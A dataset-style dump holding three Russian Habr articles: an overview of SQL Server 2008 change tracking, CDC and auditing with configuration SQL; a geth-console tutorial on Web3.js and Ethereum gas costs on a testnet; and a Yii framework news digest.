text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# Отслеживание изменений в SQL Server 2008
Я думаю, каждый разработчик СУБД рано или поздно сталкивается с задачей отслеживания обращений к БД и событий сервера в целом. И прежде чем выбрать инструмент (или написать его самому), конечно, стоит обратить внимание на решения, которые предлагают сами разработчики СУБД. Хочу поделиться нашим опытом в [Brights](https://brights.io) решения этой задачи для SQL Server 2008.
На данный момент есть 4 таких решения для SQL Server 2008 (для SQL Server 2011 существенных изменений в этой области не предвидится). Некоторые из этих средств пришли из более ранних версий, некоторые появились в 2008. Эти средства во многом пересекаются, поэтому, порой, не просто выбрать один (или более) инструмент для решения конкретной задачи. В этом я постараюсь помочь, проведя краткий обзор каждого инструмента с примером.
#### **1. CT (Change Tracking).**
Зачастую путают с CDC (Change Data Capture). Но эти инструменты различны как в назначении, так и в реализации. CT предназначен для отслеживания фактов изменений (в каких строках, какие данные были изменены (C~~R~~UD)), в то время как CDC хранит историю изменений (все версии строк, в том числе те, которые были удалены). Что касается реализации, CDC основан на чтении журнала транзакций (асинхронен), в то время как CT работает синхронно.
Для каждой таблицы, для которой включено отслеживание изменений, создается системная таблица, в которой хранился ID измененной строки, битовая маска для идентификации измененных колонок, тип операции.
Для включения CT нужно активировать его на уровне БД и для конкретной таблицы:
`> ALTER DATABASE ChangeTracking SET change\_tracking = ON
>
>
> (change\_retention = 10 minutes, auto\_cleanup = ON)
>
>
>
>
>
> ALTER TABLE Orders enable change\_tracking WITH (track\_columns\_updated = ON)`
Более детально (описание параметров, примеры использования и детальная информация) в отличной [статье](http://blogs.msdn.com/b/alexejs/archive/2009/08/09/change-tracking.aspx).
#### **2. CDC (Change Data Capture)**
Средство для отслеживания измененных данных. Основными отличиями от CT являются асинхронная реализация (как писалось выше) и хранение всех версий измененных (C~~R~~UD) данных. Для хранения измененных данных CDC использует системные таблицы в схеме cdc. Для каждой таблицы, для которой активирован CDC, создается таблица с названием по типу cdc.dbo\_Orders\_CT (для таблицы dbo.Orders).
* \*\_lsn – (log sequence number ) — своего рода идентификаторы транзакции в логе.
$operation — тип операции (1 — delete, 2 — insert, 3 — update (версия строки до обновления), 4 — update (версия строки после обновления).
* $update\_mask — битовая маска, указывающая на изменившиеся ячейки в строке.
* ID и все остальные справа — ячейки соотв. структуре таблицы, изменения в которой отслеживаются.
Для активации CDC Вам нужно активировать его на уровне БД для конкретной таблицы:
`> EXEC sys.sp\_cdc\_enable\_db
>
>
>
>
>
> EXEC sys.sp\_cdc\_enable\_table
>
>
> @source\_schema = N'dbo',
>
>
> @source\_name = N'Orders',
>
>
> @role\_name = N'cdc',
>
>
> @capture\_instance = N'dbo\_Orders',
>
>
> @supports\_net\_changes = 1,
>
>
> @index\_name = 'id\_idx',
>
>
> @captured\_column\_list = null,
>
>
> @FILEGROUP\_NAME = null;`
* @source\_schema — схема, которой принадлежит таблица, для которой активируем CDC
* @source\_name — название таблицы, для которой активируем CDC
* @role\_name — имя роли, которая будет иметь право на просмотр изменений (при отсутствии — создается автоматически)
* @capture\_instance — соответствует части названия, которое будет выдано соответстующей системной таблице
* @supports\_net\_changes — поддержка возможности отображения результирующего набора изменений (только последние версии данных). Для этого необходимо наличие уникального индекса
* @index\_name — собственно, название уникального индекса
* @captured\_column\_list — список полей, для которых будет активировано отслеживание изменений. По умолчанию — все.
* @filegroup\_name — файловая группа, в которой будут размещена системная таблица
С чисто практической точки зрения, значительный минус CDC это то, что невозможно зафиксировать автора изменений. Конечно, никто не мешает добавить столбец в системную таблицу cdc.dbo\_Orders\_CT с дефолтным значением suser\_sname() (в моей практике это работает), но подобные манипуляции с системными таблицами — не лучший способ построения отказоустойчивой системы.
Примеры запросов к сохраненным данным и развернутое описание в [статье](http://blogs.msdn.com/b/alexejs/archive/2009/08/07/cdc.aspx).
#### **3. SQL Server Audit**
Мощное средство, предназначенное для отслеживания всех событий и запросов и серверу (в том числе select). Область применения этого средства достаточно широка — от профилирования до вопросов, связанных с безопасностью и выявление активности пользователей в не предназначенной им части БД.
SQL Server Audit позволяет гибко настраивать фильтры отслеживаемых событий.
Для использования аудита необходимо активировать его на уровне сервера:
`> CREATE server audit ServerAudit
>
>
> TO FILE (filepath = `D:\Audit\`, maxsize = 1GB)
>
>
> WITH (on\_failture = CONTINUE)
>
>
>
>
>
> ALTER server audit ServerAudit WITH (STATE=ON)`
Пример создания спецификации аудита (трейса) на уровне сервера:
`> CREATE server audit specification ServerAudit\_Permissions
>
>
> FOR server audit ServerAudit
>
>
> ADD (server\_principal\_change\_group),
>
>
> ADD (server\_permission\_change\_group),
>
>
> ADD (server\_role\_member\_change\_group);
>
>
>
>
>
> ALTER server audit specification ServerAudit\_Permissions
>
>
> WITH (STATE=ON);`
Пример создания спецификации аудита на уровне БД:
`> USE MyDb
>
>
> CREATE DATABASE audit specification SA\_MyDb\_Orders
>
>
> FOR server audit ServerAudit
>
>
> ADD (SELECT, UPDATE, INSERT, DELETE ON dbo.Orders BY PUBLIC),
>
>
> ADD (SELECT, UPDATE, INSERT, DELETE ON dbo.OrderDetails BY PUBLIC)`
Для настойки аудита, есть удобный визуальный интерфейс в SQL Server Management Studio.
Также, следует отметить, наличие средств стандартизированного аудита спецификации c2 (государственный стандарт США, если верить MSDN, ссылку на стандарт я не нашел), для активации которого следует выполнить:
`> SP\_CONFIGURE 'show advanced options', 1;
>
>
> RECONFIGURE;
>
>
>
>
>
> SP\_CONFIGURE 'c2 audit mode', 1;
>
>
> RECONFIGURE;`
#### **4. SQL Server Profiler**
Всем давно знакомая утилита, поэтому пока на ней останавливаться не буду.
Спасибо.
В планах написать подробно о каждом инструменте, если конечно тема вызовет интерес. | https://habr.com/ru/post/111207/ | null | ru | null |
# Погружение в разработку на Ethereum. Часть 2: Web3.js и газ
В [предыдущей статье](https://habrahabr.ru/post/336132/) мы описали деплой контрактов и взаимодействие с ними через пользовательский интерфейс кошелька Mist, но это не подходит для реальной разработки. Нужна библиотека, которая позволит работать с блокчейном из кода пользовательского приложения. В этой статье мы кратко рассмотрим что представляет собой библиотека Web3.js, пощупав ее из консоли Geth. И еще одна важная тема, которая наверняка интересует не только разработчиков, но и потенциальных заказчиков — сколько стоят транзакции на блокчейне, ведь каждая из них требует газа, который покупается за эфир.
Мы уже знаем как деплоить контракты из Mist. Но Mist — это лишь приложение, предоставляющее графический интерфейс к основным функциям. Работает оно на основе клиента Geth. Geth входит в Go-реализацию протокола Ethereum. Go-реализация не единственная, одной из распространенных является к примеру Parity — Rust-реализация. Стоит отметить, что в Parity можно использовать еще одну тестовую сеть — Kovan, использующую Proof-of-Authority — тот же алгоритм распределения работ по созданию блоков, что и Rinkeby (вместо Proof-of-Work в Ropsten). Кроме того для Parity используется не Mist, а кошелек на веб-интерфейсе. Но мы остановимся пока на Go-реализации. Geth является входной точкой в сеть Ethereum. Для демонстрации его работы мы можем воспользоваться предоставляемой им командной строкой. Командная строка интерпретирует обычный JavaScript. Попробуем получить доступ к тому же контракту, который мы создали через Mist в предыдущей статье. Для начала сохраним адрес и интерфейс контракта в какой-нибудь файл, они понадобятся позже. Так как Mist использует Geth, закроем Mist, чтобы не создавать конфликтов (Это не касается Windows-реализации Mist, которая, как выяснилось, требует запущенный Geth для работы).
«Hello command line!»
---------------------
Запустим geth с консолью (как установить geth можно посмотреть [здесь](https://www.ethereum.org/cli)):
```
$ geth console --testnet 2>>geth.log
```
Флаг `--testnet` подключает нас к тестовой сети Ropsten. Для подключения к Rinkeby используйте вместо этого флаг `--rinkeby`. Дополнительно мы перенаправляем сообщения из стандартного потока (stderr) geth’а в файл geth.log, иначе они будут мешаться в консоли.
В результате работы команды выведется приветственное сообщение. Для начала попробуем узнать баланс нашего кошелька следующей командой (не обязательно нашего, можно любого другого, но у нас есть наш адрес: он отобразился в приветствии под названием coinbase):
```
> eth.getBalance(eth.coinbase)
```
Пример результата: `22159430784000000000`
Число такое большое потому, что отображается не в ether, а в wei — минимально возможной единице измерения количества эфира, она же используется в коде при манипуляциях с эфиром. Для отображения числа в привычном ether, как в кошельке Mist, можно добавить преобразование:
```
> web3.fromWei( eth.getBalance(eth.coinbase) )
22.159430784
```
Приступим к открытию контракта. Присвоим адрес контракта в переменную:
```
> var address = "0x65cA73D13a2cc1dB6B92fd04eb4EBE4cEB70c5eC";
```
Присвоим интерфейс контракта в переменную:
```
> var abi = [ { "constant": false, "inputs": [ { "name": "newString", "type": "string" } ], "name": "setString", "outputs": [], "payable": false, "type": "function" }, { "constant": true, "inputs": [], "name": "getString", "outputs": [ { "name": "", "type": "string", "value": "Hello World!" } ], "payable": false, "type": "function" } ];
```
Создадим объект контракта:
```
> var contract = web3.eth.contract(abi);
```
Этот объект может использоваться для открытия существующего контракта либо для деплоя нового. В данном случае нам нужно первое, для этого выполним команду:
```
> var stringHolder = contract.at(address)
```
Каждая команда выводит `undefined` — не обращайте внимания. Вместо адреса и интерфейса подставьте свои значения, а если вы находитесь в той же тестовой сети (Ropsten), что и мы во время создания нашего примера — то сможете использовать наш контракт. Вызовем функции контракта:
```
> stringHolder.getString()
"Hello World!"
> stringHolder.setString("Hello my baby, hello my honey!");
Error: invalid address
at web3.js:3879:15
at web3.js:3705:20
at web3.js:4948:28
at map ()
at web3.js:4947:12
at web3.js:4973:18
at web3.js:4998:23
at web3.js:4061:16
at apply ()
at web3.js:4147:16
```
Видим что метод `getString` отработал корректно, а `setString` — вызвал ошибку. В данном случае эта ошибка происходит из-за того, что транзакции должны выполняться от какого-либо аккаунта, который может расплатиться эфиром. Разблокируйте аккаунт следующей командой (потребуется ввести пароль от приватного ключа) и запустите `setString` снова с дополнительной опцией, задающей от какого аккаунта выполнять транзакцию:
```
> web3.personal.unlockAccount(eth.coinbase);
Unlock account 0x<адрес вашего аккаунта>
Passphrase:
true
> stringHolder.setString("Hello my baby, hello my honey!", {from: eth.coinbase});
"0x5f9c3a61c79df36776713f7373b902feea802cf6d3903195f8070ff2d376c669"
```
Возвращается номер транзакции. По этому номеру можно отследить транзакцию на сайте etherscan: [ropsten.etherscan.io](https://ropsten.etherscan.io) для Ropsten и [rinkeby.etherscan.io](https://rinkeby.etherscan.io) для Rinkeby, введя номер транзакции в поиске, либо выполнив команду:
```
> web3.eth.getTransaction("0x5f9c3a61c79df36776713f7373b902feea802cf6d3903195f8070ff2d376c669");
```
Не забудьте подставить номер своей транзакции вместо нашего.
Увидите структуру с подробностями транзакции. Теперь можно выполнить `getString` и увидеть, что строка изменилась:
```
> stringHolder.getString();
"Hello my baby, hello my honey!"
```
Как расходуется газ
-------------------
В [прошлой статье](https://habrahabr.ru/post/336132/) мы уже писали что такое газ. Для удобства напомним:
> Эфир нужен для любых операций по изменению данных, им оплачивается так называемый gas — абстрактная единица измерения, которая служит для оценки требующейся работы по выполнению транзакции. Она нужна для независимости этой оценки от текущей рыночной стоимости эфира. При отправке транзакции можно задать сколько эфира вы платите за каждую единицу газа и максимальное количество газа, которое вы готовы оплатить. Чем больше вы выделяете — тем более приоритетна ваша транзакция для потенциальных майнеров. Ведь по сути плата за gas — это оплата работы майнеров по выполнению вашей транзакции и включению ее в очередной блок. Поэтому при майнинге кроме фиксированной платы за найденный блок — на момент написания это 5 эфиров, — майнер также получает плату за транзакции, как правило это несколько сотых эфира. Количество газа за транзакцию зависит от вычислительной сложности операций над данными.
Для того чтобы наглядно продемонстрировать как происходит оплата и расход газа при выполнении транзакции создадим новый контракт. Заодно будем использовать другой метод компиляции и деплоя — через командную строку.
#### 1. Деплой контракта для демонстрации
Рассмотрим следующий контракт:
```
pragma solidity ^0.4.10;
contract UselessWorker {
int public successfullyExecutedIterations = 0;
function doWork(int _iterations) {
successfullyExecutedIterations = _iterations;
for (int i = 0; i < _iterations; i++)
{
keccak256(i);
}
}
}
```
Контракт содержит лишь одну функцию `doWork`, которая принимает количество итераций `int _iterations` в качестве параметра, после чего считает хеш `keccak256` от счетчика цикла. Так мы сможем давать разное количество работы и смотреть как от этого зависит количество требуемого газа. Единственная переменная, сохраняющаяся в контракте — `successfullyExecutedIterations`, — служит для сохранения количества выполненных циклов при последнем запуске. Она нужна для демонстрации того, что происходит в случае превышения расхода газа.
Сохраним текст контракта в файл UselessWorker.sol. Для компиляции воспользуемся solc — компилятором solidity (инструкцию по установке можете найти по [ссылке](http://solidity.readthedocs.io/en/develop/installing-solidity.html)):
```
$ solc --bin --abi UselessWorker.sol
```
Флагами `--bin` и `--abi` говорим компилятору генерировать бинарный код и интерфейс, На команду выдается ответ подобный следующему:
```
======= UselessWorker.sol:UselessWorker =======
Binary:
606060405260008055341561001357600080fd5b5b60fd806100226000396000f30060606040526000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680637ec94a1314604757806397286e7114606d575b600080fd5b3415605157600080fd5b6057608d565b6040518082815260200191505060405180910390f35b3415607757600080fd5b608b60048080359060200190919050506093565b005b60005481565b600081600081905550600090505b8181121560cc5780604051808281526020019150506040518091039050505b808060010191505060a1565b5b50505600a165627a7a72305820b0949297821556e9ed7f4941b7ae793486db6ee48e86486dc58fa3040b224d160029
Contract JSON ABI
[{"constant":true,"inputs":[],"name":"successfullyExecutedIterations","outputs":[{"name":"","type":"int256"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"_iterations","type":"int256"}],"name":"doWork","outputs":[],"payable":false,"type":"function"}]
```
Запустим geth для выполнения деплоя:
```
$ geth console --testnet 2>>geth.log
```
Для начала присвоим в переменные бинарный код и интерфейс, скопировав их из вывода компилятора. *Обратите внимание, что перед бинарным кодом надо добавить 0x*:
```
> var bin = "0x606060405260008055341561001357600080fd5b5b60fd806100226000396000f30060606040526000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680637ec94a1314604757806397286e7114606d575b600080fd5b3415605157600080fd5b6057608d565b6040518082815260200191505060405180910390f35b3415607757600080fd5b608b60048080359060200190919050506093565b005b60005481565b600081600081905550600090505b8181121560cc5780604051808281526020019150506040518091039050505b808060010191505060a1565b5b50505600a165627a7a72305820b0949297821556e9ed7f4941b7ae793486db6ee48e86486dc58fa3040b224d160029";
> var abi = [{"constant":true,"inputs":[],"name":"successfullyExecutedIterations","outputs":[{"name":"","type":"int256"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"_iterations","type":"int256"}],"name":"doWork","outputs":[],"payable":false,"type":"function"}];
```
Создадим объект контракта как и в случае открытия:
```
> var contract = web3.eth.contract(abi);
```
Выполним деплой контракта. Деплой — это тоже транзакция, которая должна выполняться от имени определенного аккаунта, расходует газ и требует ожидания. Поэтому деплой контракта, кроме аргументов конструктора, которые в данном случае не требуются, и массива параметров (from, data, gas), принимает коллбэк (в данном случае простейший, выдающий либо текст ошибки, либо адрес контракта). Но сначала требуется разблокировать аккаунт:
```
> web3.personal.unlockAccount(eth.coinbase);
```
После чего можно выполнять команду с отправкой транзакции от этого аккаунта:
```
> var uselessWorker = contract.new( {from: eth.coinbase, data: bin, gas: 1000000}, function(e, contract) { if (e) { console.log(e); } else { if (contract.address) { console.log ("mined " + contract.address); } } });
```
Далее ожидайте подобного ответа:
```
mined 0xaad3bf6443621f24099ee4f51a22c8d7e9f63548
```
Это означает, что контракт задеплоен, можно вызывать функции этого контракта:
```
> uselessWorker.successfullyExecutedIterations();
0
```
Обратите внимание, что мы не описывали такой функции в контракте, она создается автоматически для каждого `public` поля.
#### 2. Эксперименты с расходом газа
Начнем с вычисления примерного количества газа, которое потребуется при вызове функции, для этого можно вызывать метод `estimateGas()` на интересующем методе контракта, при этом в качестве параметров в `estimateGas` передаются параметры интересующего метода. В нашем случае можно вызывать так:
```
> uselessWorker.doWork.estimateGas(1);
41801
> uselessWorker.doWork.estimateGas(2);
41914
> uselessWorker.doWork.estimateGas(3);
42027
```
Видим, что каждый цикл по расчетам должен тратить 113 газа. Сколько это будет стоить в эфире? Для этого нужно знать какая цена газа будет использоваться. Если она не указывается при отправке транзакции, можно посмотреть значение по умолчанию (сразу делаем преобразование в ether):
```
> web3.fromWei( eth.gasPrice );
1e-7
```
Это значит 1 газ по умолчанию в данном случае стоит 0.0000001 эфира. Эта цена не фиксирована и изменялась даже в процессе того как мы выполняли текущие команды. Поэтому ваши значения скорее всего будут отличаться. Комиссия за транзакцию таким образом будет равна цене на газ умноженной на количество газа. Рассчитаем цену для одного цикла (в цену входит не только сам цикл, но и некоторая начальная цена просто за принятие транзакции):
```
> web3.fromWei( eth.gasPrice * uselessWorker.doWork.estimateGas(1) );
"0.0041801"
```
При такой цене около 10000 циклов должно дать комиссию в районе десятых долей эфира. Проверим:
```
> web3.fromWei( eth.gasPrice * uselessWorker.doWork.estimateGas(10000) );
"0.1171752"
```
Действительно. Но что будет если указать не 10000, а например 1000000? Результат будет следующий:
```
> web3.fromWei( eth.gasPrice * uselessWorker.doWork.estimateGas(1000000) );
"0.4704624"
```
Такая непропорциональность возникает из-за того, что есть еще и максимальное количество газа, которое может быть израсходовано. У этого количества так же есть значение по умолчанию но в данном случае его нельзя посмотреть. Посмотрим что будет, если явно задавать лимит газа, который мы готовы оплачивать. Но сначала проверим, не изменилась ли цена:
```
> web3.fromWei( eth.gasPrice );
2.8e-7
```
Выросла почти в 3 раза (у нас это произошло менее чем за пол часа). Цена по умолчанию принимается рыночной цене, поэтому динамически меняется. Чтобы оценка сохранялась для той же цены, что мы использовали в начале, присвоим свою цену за газ (в wei) в переменную:
```
> var fixedGasPrice = 100000000000;
```
Рассчитаем цену за 100 тысяч циклов (миллион может выполняться слишком долго) с нашей ценой, но измененным лимитом газа (параметр gas).
```
> web3.fromWei( fixedGasPrice * uselessWorker.doWork.estimateGas(100000, {gas: 100000000}) );
"1.1341816"
```
Ограничим количество газа до 1000:
```
> web3.fromWei( fixedGasPrice * uselessWorker.doWork.estimateGas(100000, {gas: 1000}) );
"0.0001"
```
В этом случае расходуется весь предоставляемый газ. Никаких изменений на блокчейне не будет сохранено, но майнер все равно получает оплату, так как выполнял работу пока не кончился газ. Поэтому важно правильно указывать лимит газа. Функция `estimateGas` не всегда может предоставлять достоверные данные, потому что ее выполнение опирается на текущее состояние блокчейна, которое во время выполнения настоящей транзакции может быть другим, что повлечет другой расход газа.
Перейдем к реальному исполнению методов и сравнению с предсказанными значениями. Сначала посмотрим и запомним баланс своего аккаунта:
```
> initialBalance = eth.getBalance(eth.coinbase);
5006820644000000000
```
Допустим мы хотим выполнить 10 циклов. Вычислим сколько газа должно потребоваться на этот вызов:
```
> uselessWorker.doWork.estimateGas( 10 );
42818
```
Используем для этой операции нашу цену `fixedGasPrice`, но зададим максимальным количеством газа 42000 (этого скорее не хватит, так как меньше предсказанного значения). Поэтому наша оплата, с учетом расхода всего предоставленного газа, должна составить в wei:
```
> predictedCost = 42000 * fixedGasPrice;
4200000000000000
```
Что в эфире будет:
```
> web3.fromWei(predictedCost);
"0.0042"
```
Выполним транзакцию с заданием нашего лимита и цены (но перед этим разблокируем аккаунт):
```
> web3.personal.unlockAccount(eth.coinbase);
> transaction = uselessWorker.doWork( 10, { from: eth.coinbase, gas: 42000, gasPrice: fixedGasPrice } );
"0xc0590a2cf39c3e4339253ecf11d124177b75502cea368adcf30d1b7d6933ef5a"
```
По номеру транзакции можно отследить ее статус, выполнив:
```
> result = web3.eth.getTransactionReceipt(transaction);
```
В результат записывается структура, выглядящая следующим образом:
```
{
blockHash: "0x91b63b43856e62fd26ad7f401bfe556cc100e8adf4b5ac510261e91adb9953a3",
blockNumber: 1375978,
contractAddress: null,
cumulativeGasUsed: 740323,
from: "0x334731990b420d7fe77347545c45a689becfca08",
gasUsed: 42000,
logs: [],
logsBloom: "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",
root: "0x07dc7178ac2abaa2460cd94d5eb7bf6d7ed9ed09e3e74a4b53321b5c210932c0",
to: "0xaad3bf6443621f24099ee4f51a22c8d7e9f63548",
transactionHash: "0xc0590a2cf39c3e4339253ecf11d124177b75502cea368adcf30d1b7d6933ef5a",
transactionIndex: 1
}
```
Если в результате у вас `nil` — значит транзакция еще не добавилась в блок, надо подождать и повторить команду.
В этой структуре мы видим, что расход газа `gasUsed` оказался 42000, как и ожидалось. Проверим, изменился ли наш баланс:
```
> web3.fromWei( initialBalance - eth.getBalance(eth.coinbase) );
"0.0042"
```
Расход оказался 0.0042 эфира, как и ожидалось. Проверим, изменились ли данные в контракте:
```
> uselessWorker.successfullyExecutedIterations();
0
```
В переменную ничего не сохранилось, несмотря на то, что присваивание в контракте выполнялось перед циклом. Таким образом видно, что в случае нехватки газа изменения откатываются полностью. Но эта транзакция все равно добавляется в блок, ведь работа была проведена, поэтому мы можем видеть номер блока и всю остальную информацию. Однако в информации мы не видим никаких других признаков ошибки, кроме того, что был потрачен весь газ. Как же определить статус транзакции в редком, но возможном случае, когда израсходован весь газ, но больше и не требовалось? К сожалению пока нет более простого способа чем либо смотреть через сайт (например [вот ссылка](https://ropsten.etherscan.io/tx/0xc0590a2cf39c3e4339253ecf11d124177b75502cea368adcf30d1b7d6933ef5a) для нашей транзакции, можно искать любую другую транзакцию и видеть завершилась ли она с ошибкой), либо заново симулировать отправку той же самой транзакции с помощью средств дебага.
Проверим теперь что будет, если указать лимит чуть больше предсказанного. Также сохраним начальный баланс:
```
> initialBalance = eth.getBalance(eth.coinbase);
5002620644000000000
```
На этот раз выделим 43000 газа, можно ожидать изменение баланса
```
> 43000 * fixedGasPrice;
4300000000000000
```
Выполним транзакцию с заданием нового лимита:
```
> web3.personal.unlockAccount(eth.coinbase);
> transaction = uselessWorker.doWork( 10, { from: eth.coinbase, gas: 43000, gasPrice: fixedGasPrice } );
```
И получим результат ее выполнения:
```
> result = web3.eth.getTransactionReceipt(transaction);
```
```
{
blockHash: "0xe9793206faf5e923042488d4312d542db2c5189d25a0014d894179fce222705d",
blockNumber: 1376028,
contractAddress: null,
cumulativeGasUsed: 131780,
from: "0x334731990b420d7fe77347545c45a689becfca08",
gasUsed: 42817,
logs: [],
logsBloom: "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",
root: "0x51fd139db608c2fa833e5de205497368362853b8e778787e85180e1cde206151",
to: "0xaad3bf6443621f24099ee4f51a22c8d7e9f63548",
transactionHash: "0xd69e46cbb9c139cc2c56ae4860b2e73e4581a97fc016c2848dc6bd399e9b5196",
transactionIndex: 2
}
```
Использовано 42817 газа (на 1 меньше предсказанного).
Расход эфира:
```
> web3.fromWei( initialBalance - eth.getBalance(eth.coinbase) );
"0.0042817"
```
Ровно столько, сколько необходимо для оплаты использованного газа.
Сохранены ли изменения в контракте?
```
> uselessWorker.successfullyExecutedIterations();
10
```
Да, сохранены.
Продолжение следует
-------------------
На этом пока все. Документацию по geth можно увидеть [здесь](https://github.com/ethereum/go-ethereum/wiki/geth).
Документация по [Solidity](https://solidity.readthedocs.io/en/develop/).
В geth используется web3.js библиотека, документацию по ней можно посмотреть [здесь](https://github.com/ethereum/wiki/wiki/JavaScript-API).
Это одна из самых распространенных библиотек для подключения к Ethereum-блокчейну. Мы же специализируемся на разработке на Ruby on Rails, поэтому задаемся целью найти подходящий ruby-интерфейс. В следующей статье мы опишем что из этого выйдет.
→ [Ссылка на часть 1](https://habrahabr.ru/post/336132/) | https://habr.com/ru/post/336770/ | null | ru | null |
# Новости Yii 2020, выпуск 5
Приветствую!
Время очередного выпуска новостей Yii. Как у Yii 2, так и у Yii 3 всё хорошо :)
> На самом деле, в этом году перед этим выпуском было ещё четыре, как следует из порядкового номера. Но я был так увлечён Yii 3, что забыл про хабр… Почитать их можно прямо на главной <https://yiiframework.ru/>. Ну или, если больше нравится английский, на [нашей странице на OpenCollective](https://opencollective.com/yiisoft/updates).
Наконец, дошли руки обновить [страницу с командой](https://www.yiiframework.com/team) на официальном сайте.
Константин Сироткин вернулся и активно занимается расширением Yii 2 ElasticSearch.
Сформирована основная команда Yii 3. Вообще это по факту произошло в конце 2019-го. Имена, вероятно, вам известны так как упоминались в предыдущих выпусках.
Мы [частично переместили тесты на GitHub actions](https://www.yiiframework.com/status/3.0). Полёт прекрасный, рекомендуем. Мы добавляем [статический анализ через phan](https://github.com/phan/phan)
и прогоняем тесты через [Infection](https://infection.github.io/) чтобы ещё больше повысить качество кода.
Я потратил немного времени на [YiiPowered](https://yiipowered.com/en), где мы собираем проекты на Yii. Сейчас там 571 проект. Улучшения такие:
* Можно добавлять проекты на Yii 3.0.
* Для проектов, для которых не заполнены скриншоты, они делаются и загружаются автоматически каждую ночь.
В прошлом выпуске я упомянул конференцию [PHP Russia Online](https://forum.yiiframework.com/t/php-russia-online-2020/129408).
Прошла она хорошо. [Доступны видео](https://www.youtube.com/watch?v=khW3w5C9yZg&list=PLsdzlHt60Mu1mZa6u6bkH1PX8N3eG_Ifr).
В качестве эксперимента, я записал [скринкаст во время работы над фреймворком](https://www.youtube.com/watch?v=9-6IUSi8O30).
Очень хочется узнать ваше мнение. Стоит писать ещё? Хотите узнать про какую-то часть фреймворка или процесс разработки?
Yii 2
-----
[Вышла версия 2.0.36](https://www.yiiframework.com/news/293/yii-2-0-36). Это важное обновление из-за улучшений в работе
DI-контейнера. Он стал немного ближе к Yii 3.
В action как веб, так и консольного контроллеров теперь можно так:
```
namespace app\controllers;
use yii\web\Controller;
use app\components\BookingInterface;
class HotelController extends Controller
{
public function actionBook($id, BookingInterface $bookingService)
{
$result = $bookingService->book($id);
// ...
}
}
```
Ещё одно улучшение в том, что `Instance::of()` начал работать в массивах:
```
return [
ContentTypeMiddleware::class => [
'__construct()' => [
Instance::of(StreamFactory::class),
[
'json' => Intance::of(JsonFormatter::class),
'yaml' => Intance::of(YamlFormatter::class),
],
],
],
];
```
Дополнительно были выпущены следующие расширения:
* [Composer installer 2.0.10](https://www.yiiframework.com/news/292/yii-2-composer-installer-2-0-10) с улучшенной поддержкой Composer 2.
* ElasticSearch [2.0.6](https://www.yiiframework.com/news/289/elasticsearch-extension-2-0-6-released)
и [2.0.7](https://www.yiiframework.com/news/290/elasticsearch-extension-2-0-7-released) с фиксами "legacy" релизов.
Yii 3
-----
Во-первых, [появился шаблон приложения](https://github.com/yiisoft/app). С него вы можете начать пробовать Yii 3.
Это не финальная версия, но представление о том, что у нас есть, даёт. Обсуждения и конструктивная критика приветствуются.
* [Выпущена стабильная версия пакета Aliases](https://www.yiiframework.com/news/291/aliases-1-0-0-released) со 100% покрытием
кода тестами, которые [100% чисты от мутаций](https://infection.github.io/guide/index.html).
* Ещё одна версия [Injector 1.0.1](https://github.com/yiisoft/injector) добавила поддержку PHP 8.
* В [yiisoft/form](https://github.com/yiisoft/form) были добавлены [виджеты форм](https://github.com/yiisoft/form/tree/master/src/Widget) и другие улучшения.
* Во многие пакеты добавлена строгая типизация.
* Улучшено покрытие тестами [yiisoft/gii](https://github.com/yiisoft/yii-gii) и [yiisoft/yii-web](https://github.com/yiisoft/yii-web).
* Был реализован [auto-login middleware](https://github.com/yiisoft/yii-web/pull/235), который, вероятно, вы знаете как "remember me".
* В [Composer config plugin](https://github.com/yiisoft/composer-config-plugin/) улучшено покрытие тестами, стало возможно
делать ребилд конфига из кода без предварительной сборки. Также теперь генерируется меньше файлов и ограниченно поддерживаются
переменные окружения. Ну и, наконец, поддерживается Composer 2.
* [Стало возможно настроить HTML-страницу ошибки в ErrorHandler](https://github.com/yiisoft/yii-web/pull/217).
* В консольное приложение добавлены события `ApplicationStartup` и `ApplicationShutdown` и удобный способ на них подписываться
через `config/events-console.php`. На данный момент [это используется в yiisoft/yii-debug](https://github.com/yiisoft/yii-debug/blob/master/config/events-console.php#L17).
Конфигурация в общем была приведена к новому стилю и стала более гибкой.
* Реализован [рендерер Twig](https://github.com/yiisoft/yii-twig).
* [В yii-demo добавлена команда route/list](https://github.com/yiisoft/yii-demo/pull/96).
* [Пакет RBAC](https://github.com/yiisoft/rbac) был отрефакторен. Также было реализовано [хранилище в PHP файлах](https://github.com/yiisoft/rbac-php).
* В пакет arrays добавлен модификатор [ReverseBlockMerge](https://github.com/yiisoft/arrays/blob/master/src/Modifier/ReverseBlockMerge.php).
Он, главным образом, используется в конфигах приложения для правильного порядка обработчиков событий.
* Реализован [пакет миграций для баз данных](https://github.com/yiisoft/yii-db-migration).
* Сформировался стиль конфигурации. [Он основан на сервис-провайдерах](https://github.com/yiisoft/app/tree/master/config).
* [Интеграция с Cycle ORM](https://github.com/yiisoft/yii-cycle) была почищена, был обновлён стиль конфигурации и добавлены дополнительные возможности.
* [`В пакет HTTP добавлен класс Header`, содержащий константы для типичных заголовков HTTP](https://github.com/yiisoft/http/pull/10).
* Покрытие тестами в [пакете Queue](https://github.com/yiisoft/yii-queue) было увеличено. Также исправлены найденные ошибки.
* [В yiisoft/yii-web добавлен middleware для редиректа на HTTPS](https://github.com/yiisoft/yii-web/pull/236).
* [Yii development tool](https://github.com/yiisoft/yii-dev-tool), инструмент, который мы используем для удобной разработки
Yii 3, был покрыт дополнительными тестами. Были реализованы новые возможности, такие как [`автоматическое исправление
зависимостей в composer.json` на основе исходного кода пакета](https://github.com/yiisoft/yii-dev-tool/pull/84)
* [Добавлен пакет Bootstrap 5](https://github.com/yiisoft/yii-bootstrap5).
